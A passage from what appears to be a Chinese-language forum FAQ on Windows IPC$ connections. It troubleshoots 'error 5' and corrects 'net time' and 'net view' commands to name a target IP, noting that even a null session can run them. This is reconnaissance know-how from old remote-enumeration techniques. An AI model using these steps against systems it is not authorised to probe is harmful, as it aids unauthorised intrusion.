答:起初遇到這個問題的時候我也非常納悶,錯誤 5表示許可權不夠,但是連空會話的許可權都能夠完畢上面的兩個命令,他為什麼不行呢?難道是他沒建立串連?後來那個粗心的同志告訴我的確是這樣,他忘記了自己已經刪了 ipc$ 串連,之後他又輸入了上面那兩個命令,隨之發生了錯誤 5 。
17. 您看看這是怎麼回事?
F:\>net time
找不到時間server。
請鍵入 NET HELPMSG 3912 以獲得很多其它的協助。
答:答案非常easy,你的命令錯了,應該是 net time \\ip
沒輸入 ip 地址,當然找不到server。 view 的命令也應該有 ip 地址,即: net view \\ip
收藏 分享 評分